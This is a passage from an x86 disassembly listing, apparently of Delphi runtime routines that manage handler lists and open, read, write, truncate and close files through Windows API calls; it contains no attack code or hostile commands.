		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_41C018
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404AF7

loc_404ABE:				; CODE XREF: sub_404AA4+51j
		xor	eax, eax
		push	ebp
		push	offset loc_404ADF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_404AE9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404ADF:				; DATA XREF: sub_404AA4+1Do
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		call	sub_403008

loc_404AE9:				; CODE XREF: sub_404AA4+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_404ABE

loc_404AF7:				; CODE XREF: sub_404AA4+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404AA4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404B00	proc near		; CODE XREF: sub_405A34+3Ep
		mov	edx, ds:dword_41C014
		mov	[eax], edx
		mov	ds:dword_41C014, eax
		retn
sub_404B00	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404B10	proc near		; CODE XREF: sub_403390+A6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_404B74
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_404AA4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404B7B

loc_404B3D:				; CODE XREF: CODE:00404B79j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_41C014
		jnz	short loc_404B54
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_41C014, eax
		jmp	short locret_404B73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404B54:				; CODE XREF: sub_404B10+36j
		mov	eax, ds:dword_41C014
		test	eax, eax
		jz	short locret_404B73

loc_404B5D:				; CODE XREF: sub_404B10+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_404B6D
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short locret_404B73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404B6D:				; CODE XREF: sub_404B10+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_404B5D

locret_404B73:				; CODE XREF: sub_404B10+42j
					; sub_404B10+4Bj ...
		retn
sub_404B10	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404B74:				; DATA XREF: sub_404B10+Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_404B3D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404B7B:				; DATA XREF: sub_404B10+28o
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404B80	proc near		; CODE XREF: sub_4032D0+Ep
					; sub_406CD4+23p ...

var_400		= byte ptr -400h

		push	ebx
		push	esi
		add	esp, 0FFFFFC00h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_404BCD
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_404BC3
		push	400h
		lea	eax, [esp+404h+var_400]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_404638
		push	eax
		call	j_LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4035B0
		jmp	short loc_404BCD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404BC3:				; CODE XREF: sub_404B80+17j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_403680

loc_404BCD:				; CODE XREF: sub_404B80+Ej
					; sub_404B80+41j
		add	esp, 400h
		pop	esi
		pop	ebx
		retn
sub_404B80	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404BD8	proc near		; CODE XREF: sub_403BE8+C9p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_404BEC
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_404BEC:				; CODE XREF: sub_404BD8+4j
		retn
sub_404BD8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404BF0	proc near		; CODE XREF: sub_403CDC+DCp
					; sub_403DF8+C7p ...
		mov	ecx, [eax]
		mov	[eax], edx
		test	edx, edx
		jz	short loc_404C00
		push	ecx
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+4]
		pop	ecx

loc_404C00:				; CODE XREF: sub_404BF0+6j
		test	ecx, ecx
		jz	short locret_404C0A
		push	ecx
		mov	eax, [ecx]
		call	dword ptr [eax+8]

locret_404C0A:				; CODE XREF: sub_404BF0+12j
		retn
sub_404BF0	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentThreadId. PRESS KEYPAD "+" TO	EXPAND]
		align 4

loc_404C14:				; DATA XREF: CODE:00404CB7o
		xor	edx, edx
		mov	[eax+10h], edx
		mov	[eax+0Ch], edx
		push	edx
		lea	edx, [eax+10h]
		push	edx
		push	dword ptr [eax+8]
		push	dword ptr [eax+14h]
		push	dword ptr [eax]
		call	j_ReadFile
		test	eax, eax
		jz	short loc_404C35

loc_404C32:				; CODE XREF: CODE:00404C3Dj
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C35:				; CODE XREF: CODE:00404C30j
		call	j_GetLastError
		cmp	eax, 6Dh
		jz	short loc_404C32
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C40:				; DATA XREF: CODE:00404CEEo
					; CODE:00404DADo
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C43:				; DATA XREF: CODE:00404CE0o
					; CODE:00404DE8o
		push	ecx
		mov	edx, [eax+0Ch]
		test	edx, edx
		jle	short loc_404C65
		xor	ecx, ecx
		mov	[eax+0Ch], ecx
		push	ecx
		lea	ecx, [esp+4]
		push	ecx
		push	edx
		push	dword ptr [eax+14h]
		push	dword ptr [eax]
		call	j_WriteFile
		test	eax, eax
		jz	short loc_404C69

loc_404C65:				; CODE XREF: CODE:00404C49j
		xor	eax, eax

loc_404C67:				; CODE XREF: CODE:00404C6Ej
		pop	ecx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C69:				; CODE XREF: CODE:00404C63j
		call	j_GetLastError
		jmp	short loc_404C67
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C70:				; DATA XREF: CODE:00404CE7o
		push	dword ptr [eax]
		mov	dword ptr [eax+4], 0D7B0h
		call	j_CloseHandle
		dec	eax
		jnz	short loc_404C82
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C82:				; CODE XREF: CODE:00404C7Fj
		call	j_GetLastError
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404C88:				; DATA XREF: sub_404E16+21o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	eax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_404CA8
		dec	eax
		jz	short loc_404CC0
		dec	eax
		jz	short loc_404CD1
		jmp	loc_404DF1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404CA8:				; CODE XREF: CODE:00404C9Bj
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset loc_404C14
		jmp	short loc_404CE7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404CC0:				; CODE XREF: CODE:00404C9Ej
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_404CE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404CD1:				; CODE XREF: CODE:00404CA1j
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3

loc_404CE0:				; CODE XREF: CODE:00404CCFj
		mov	dword ptr [esi+1Ch], offset loc_404C43

loc_404CE7:				; CODE XREF: CODE:00404CBEj
		mov	dword ptr [esi+24h], offset loc_404C70
		mov	dword ptr [esi+20h], offset loc_404C40
		cmp	byte ptr [esi+48h], 0
		jz	loc_404DAD
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	j_CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_404E08
		mov	[esi], eax
		cmp	dword ptr [esi+4], 0D7B3h
		jnz	loc_404DCF
		dec	dword ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	j_GetFileSize
		inc	eax
		jz	loc_404E08
		sub	eax, 81h
		jnb	short loc_404D48
		xor	eax, eax

loc_404D48:				; CODE XREF: CODE:00404D44j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	j_SetFilePointer
		inc	eax
		jz	loc_404E08
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	j_ReadFile
		pop	edx
		dec	eax
		jnz	loc_404E08
		xor	eax, eax

loc_404D7F:				; CODE XREF: CODE:00404D8Ej
		cmp	eax, edx
		jnb	short loc_404DCF
		cmp	byte ptr [esi+eax+14Ch], 1Ah
		jz	short loc_404D90
		inc	eax
		jmp	short loc_404D7F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404D90:				; CODE XREF: CODE:00404D8Bj
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	j_SetFilePointer
		inc	eax
		jz	short loc_404E08
		push	dword ptr [esi]
		call	j_SetEndOfFile
		dec	eax
		jnz	short loc_404E08
		jmp	short loc_404DCF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404DAD:				; CODE XREF: CODE:00404CF9j
		mov	dword ptr [esi+24h], offset loc_404C40
		cmp	dword ptr [esi+4], 0D7B2h
		jz	short loc_404DC1
		push	0FFFFFFF6h
		jmp	short loc_404DC3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404DC1:				; CODE XREF: CODE:00404DBBj
		push	0FFFFFFF5h

loc_404DC3:				; CODE XREF: CODE:00404DBFj
		call	j_GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404E08
		mov	[esi], eax

loc_404DCF:				; CODE XREF: CODE:00404D26j
					; CODE:00404D81j ...
		cmp	dword ptr [esi+4], 0D7B1h
		jz	short loc_404DEF
		push	dword ptr [esi]
		call	j_GetFileType
		test	eax, eax
		jz	short loc_404DF3
		cmp	eax, 2
		jnz	short loc_404DEF
		mov	dword ptr [esi+20h], offset loc_404C43

loc_404DEF:				; CODE XREF: CODE:00404DD6j
					; CODE:00404DE6j
		xor	eax, eax

loc_404DF1:				; CODE XREF: CODE:00404CA3j
					; CODE:00404E06j ...
		pop	esi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404DF3:				; CODE XREF: CODE:00404DE1j
		push	dword ptr [esi]
		call	j_CloseHandle
		mov	dword ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_404DF1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404E08:				; CODE XREF: CODE:00404D17j
					; CODE:00404D39j ...
		mov	dword ptr [esi+4], 0D7B0h
		call	j_GetLastError
		jmp	short loc_404DF1

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404E16	proc near		; CODE XREF: sub_405880+A8p
					; sub_405880+B7p ...
		lea	ecx, [eax+14Ch]
		mov	[eax+14h], ecx
		xor	ecx, ecx
		mov	[eax], ecx
		mov	dword ptr [eax+4], 0D7B0h
		mov	dword ptr [eax+8], 80h
		mov	[eax+0Ch], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax+18h], offset loc_404C88
		mov	[eax+1Ch], ecx
		mov	[eax+20h], ecx
		mov	[eax+24h], ecx
		lea	eax, [eax+48h]
		test	edx, edx
		jz	short loc_404E69
		mov	ch, 82h

loc_404E50:				; CODE XREF: sub_404E16+50j
		mov	cl, [edx]
		inc	edx
		mov	[eax], cl
		inc	eax
		test	cl, cl
		jz	short locret_404E6B
		mov	cl, [edx]
		inc	edx
		mov	[eax], cl
		inc	eax
		test	cl, cl
		jz	short locret_404E6B
		dec	ch
		jnz	short loc_404E50
		dec	eax

loc_404E69:				; CODE XREF: sub_404E16+36j
		mov	[eax], ch

locret_404E6B:				; CODE XREF: sub_404E16+42j
					; sub_404E16+4Cj
		retn
sub_404E16	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	edx, [eax+4]
		cmp	edx, 0D7B2h
		jnz	short loc_404E7F
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jnz	short loc_404E8C

locret_404E7E:				; CODE XREF: CODE:00404E85j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404E7F:				; CODE XREF: CODE:00404E75j
		cmp	edx, 0D7B1h
		jz	short locret_404E7E
		mov	eax, 67h

loc_404E8C:				; CODE XREF: CODE:00404E7Cj
		jmp	sub_40267C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404E91:				; CODE XREF: sub_40520F+Fj
		mov	edx, [eax+4]
		cmp	edx, 0D7B2h
		jnz	short loc_404EA4
		call	dword ptr [eax+20h]
		test	eax, eax
		jnz	short loc_404EB1

locret_404EA3:				; CODE XREF: CODE:00404EAAj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404EA4:				; CODE XREF: CODE:00404E9Aj
		cmp	edx, 0D7B1h
		jz	short locret_404EA3
		mov	eax, 67h

loc_404EB1:				; CODE XREF: CODE:00404EA1j
		jmp	sub_40267C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404EB8	proc near		; CODE XREF: sub_416478+23Cp
					; sub_416478+283p ...

arg_0		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx
		mov	edx, [ebx+4]
		sub	edx, 0D7B1h
		cmp	edx, 2
		ja	short loc_404F14
		push	ecx
		push	0
		mov	eax, esp
		push	0
		push	eax
		mov	eax, [ebx+8]
		mul	ecx
		push	eax
		push	esi
		push	dword ptr [ebx]
		call	j_ReadFile
		dec	eax
		pop	eax
		pop	ecx
		jnz	short loc_404F06
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	edx, [esp+arg_0]
		test	edx, edx
		jz	short loc_404EFB
		mov	[edx], eax

loc_404EF6:				; CODE XREF: sub_404EB8+45j
					; sub_404EB8+5Aj
		pop	esi
		pop	ebx
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404EFB:				; CODE XREF: sub_404EB8+3Aj
		cmp	eax, ecx
		jz	short loc_404EF6
		mov	eax, 64h
		jmp	short loc_404F0B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404F06:				; CODE XREF: sub_404EB8+2Dj
		call	j_GetLastError

loc_404F0B:				; CODE XREF: sub_404EB8+4Cj
					; sub_404EB8+61j
		call	sub_40267C
		xor	eax, eax
		jmp	short loc_404EF6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404F14:				; CODE XREF: sub_404EB8+12j
		mov	eax, 67h
		jmp	short loc_404F0B
sub_404EB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404F1C	proc near		; CODE XREF: sub_416478+303p
					; sub_416478+339p ...

arg_0		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx
		mov	eax, [eax+4]
		sub	eax, 0D7B2h
		cmp	eax, 1
		ja	short loc_404F77
		push	ecx
		push	0
		mov	eax, esp
		push	0
		push	eax
		mov	eax, [ebx+8]
		mul	ecx
		push	eax
		push	esi
		push	dword ptr [ebx]
		call	j_WriteFile
		dec	eax
		pop	eax
		pop	ecx
		jnz	short loc_404F69
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	edx, [esp+arg_0]
		test	edx, edx
		jz	short loc_404F5E
		mov	[edx], eax

loc_404F59:				; CODE XREF: sub_404F1C+44j
					; sub_404F1C+59j
		pop	esi
		pop	ebx
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404F5E:				; CODE XREF: sub_404F1C+39j
		cmp	eax, ecx
		jz	short loc_404F59
		mov	eax, 65h
		jmp	short loc_404F6E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404F69:				; CODE XREF: sub_404F1C+2Cj
		call	j_GetLastError

loc_404F6E:				; CODE XREF: sub_404F1C+4Bj
					; sub_404F1C+60j
		call	sub_40267C
		xor	eax, eax
		jmp	short loc_404F59
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404F77:				; CODE XREF: sub_404F1C+11j
		mov	eax, 67h
		jmp	short loc_404F6E
sub_404F1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404F80	proc near		; CODE XREF: CODE:00404FD2p
					; sub_405818+1Ep ...
		push	ebx
		mov	ebx, eax
		mov	edx, [eax+4]
		sub	edx, 0D7B1h
		jz	short loc_404F9C
		cmp	edx, 2
		ja	short loc_404FAC
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jnz	short loc_404FA5
		mov	eax, ebx

loc_404F9C:				; CODE XREF: sub_404F80+Cj
		call	dword ptr [ebx+24h]
		test	eax, eax
		jnz	short loc_404FA5

loc_404FA3:				; CODE XREF: sub_404F80+2Aj
					; sub_404F80+31j
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404FA5:				; CODE XREF: sub_404F80+18j
					; sub_404F80+21j ...
		call	sub_40267C
		jmp	short loc_404FA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404FAC:				; CODE XREF: sub_404F80+11j
		cmp	eax, offset unk_41E048
		jz	short loc_404FA3
		mov	eax, 67h
		jmp	short loc_404FA5
sub_404F80	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_404FBC:				; CODE XREF: CODE:00404FFCj
					; sub_404FFE+5j ...
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, edx
		mov	edx, [esi+4]
		sub	edx, 0D7B0h
		jz	short loc_404FD7
		cmp	edx, 3
		ja	short loc_404FEB
		call	sub_404F80

loc_404FD7:				; CODE XREF: CODE:00404FCBj
		mov	eax, esi
		mov	[esi+4], ebx
		call	dword ptr [esi+18h]
		test	eax, eax
		jz	short loc_404FE8
		call	sub_40267C

loc_404FE8:				; CODE XREF: CODE:00404FE1j
					; CODE:00404FF5j
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404FEB:				; CODE XREF: CODE:00404FD0j
		mov	eax, 66h
		call	sub_40267C
		jmp	short loc_404FE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	edx, 0D7B1h
		jmp	short loc_404FBC

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404FFE	proc near		; CODE XREF: sub_405144+45p
					; CODE:00405253p
		mov	edx, 0D7B2h
		jmp	short loc_404FBC
sub_404FFE	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405005	proc near		; CODE XREF: sub_418438+41p
		mov	edx, 0D7B3h
		jmp	short loc_404FBC
sub_405005	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40500C:				; CODE XREF: sub_40510D+12j
					; sub_405124+5j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	edx, [ebx+4]
		sub	edx, 0D7B0h
		jz	short loc_405035
		cmp	edx, 3
		ja	loc_4050D3
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_405035
		call	sub_40267C

loc_405035:				; CODE XREF: CODE:0040501Ej
					; CODE:0040502Ej
		mov	dword ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset loc_40512E
		mov	dword ptr [ebx+1Ch], offset loc_4050B7
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_4050BA
		mov	eax, 0C0000000h
		mov	dl, ds:byte_41E042
		and	edx, 70h
		shr	edx, 2
		mov	edx, ds:dword_4050ED[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_405097
		mov	ecx, 3
		inc	edi
		jz	short loc_405097
		mov	eax, 40000000h
		inc	edi
		mov	dword ptr [ebx+4], 0D7B2h
		jz	short loc_405097
		mov	eax, 80000000h
		mov	dword ptr [ebx+4], 0D7B1h

loc_405097:				; CODE XREF: CODE:00405072j
					; CODE:0040507Aj ...
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [ebx+48h]
		push	eax
		call	j_CreateFileA

loc_4050AC:				; CODE XREF: CODE:004050D1j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4050DA
		mov	[ebx], eax

loc_4050B3:				; CODE XREF: CODE:004050EBj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4050B7:				; DATA XREF: CODE:00405046o
					; CODE:004050BAo
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4050BA:				; CODE XREF: CODE:00405051j
		mov	dword ptr [ebx+24h], offset loc_4050B7
		cmp	edi, 3
		jz	short loc_4050CA
		push	0FFFFFFF6h
		jmp	short loc_4050CC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4050CA:				; CODE XREF: CODE:004050C4j
		push	0FFFFFFF5h

loc_4050CC:				; CODE XREF: CODE:004050C8j
		call	j_GetStdHandle
		jmp	short loc_4050AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4050D3:				; CODE XREF: CODE:00405023j
		mov	eax, 66h
		jmp	short loc_4050E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4050DA:				; CODE XREF: CODE:004050AFj
		mov	dword ptr [ebx+4], 0D7B0h
		call	j_GetLastError

loc_4050E6:				; CODE XREF: CODE:004050D8j
		call	sub_40267C
		jmp	short loc_4050B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_4050ED	dd 3, 0, 1, 2, 3, 3 dup(0) ; DATA XREF:	CODE:00405064r

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40510D	proc near		; CODE XREF: sub_416478+136p
					; sub_416478+21Ep ...
		xor	ecx, ecx
		mov	cl, ds:byte_41E042
		and	cl, 3
		cmp	cl, 2
		jbe	short loc_40511F
		mov	cl, 2

loc_40511F:				; CODE XREF: sub_40510D+Ej
		jmp	loc_40500C
sub_40510D	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405124	proc near		; CODE XREF: sub_416478+14Bp
					; sub_416B20+97p ...
		mov	ecx, 3
		jmp	loc_40500C
sub_405124	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40512E:				; DATA XREF: CODE:0040503Fo
		push	dword ptr [eax]
		mov	dword ptr [eax+4], 0D7B0h
		call	j_CloseHandle
		dec	eax
		jnz	loc_40268C
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405144	proc near		; CODE XREF: sub_403A60+22j
					; sub_4051AF+16p ...
		push	esi
		push	edi
		mov	esi, edx
		cmp	dword ptr [eax+4], 0D7B2h
		jnz	short loc_40517F

loc_405151:				; CODE XREF: sub_405144+31j
					; sub_405144+54j
		mov	edi, [eax+14h]
		add	edi, [eax+0Ch]
		mov	edx, [eax+8]
		sub	edx, [eax+0Ch]
		cmp	edx, ecx
		jg	short loc_405177
		add	[eax+0Ch], edx
		sub	ecx, edx
		push	eax
		push	ecx
		mov	ecx, edx
		repe movsb
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jnz	short loc_4051A6
		pop	ecx
		pop	eax
		jmp	short loc_405151
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405177:				; CODE XREF: sub_405144+1Bj
		add	[eax+0Ch], ecx
		repe movsb

loc_40517C:				; CODE XREF: sub_405144+60j
					; sub_405144+69j
		pop	edi
		pop	esi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40517F:				; CODE XREF: sub_405144+Bj
		cmp	eax, offset unk_41E214
		jnz	short loc_40519A
		push	ecx
		push	edx
		push	eax
		call	sub_404FFE
		pop	eax
		pop	edx
		pop	ecx
		cmp	dword ptr [eax+4], 0D7B2h
		jz	short loc_405151

loc_40519A:				; CODE XREF: sub_405144+40j
		mov	eax, 69h
		call	sub_40267C
		jmp	short loc_40517C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4051A6:				; CODE XREF: sub_405144+2Dj
		call	sub_40267C
		pop	ecx
		pop	eax
		jmp	short loc_40517C
sub_405144	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4051AF	proc near		; CODE XREF: sub_403A60+19p
					; CODE:004051FFp ...
		mov	ecx, edx

loc_4051B1:				; CODE XREF: sub_4051AF+2Bj
		mov	edx, offset unk_41C060
		cmp	ecx, 40h
		jle	short loc_4051DC
		sub	ecx, 40h
		push	eax
		push	ecx
		mov	ecx, 40h
		call	sub_405144
		call	sub_4059F0
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4051E5
		pop	ecx
		pop	eax
		jmp	short loc_4051B1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4051DC:				; CODE XREF: sub_4051AF+Aj
		test	ecx, ecx
		jg	sub_405144
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4051E5:				; CODE XREF: sub_4051AF+27j
		pop	ecx
		pop	eax
		retn
sub_4051AF	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_405144
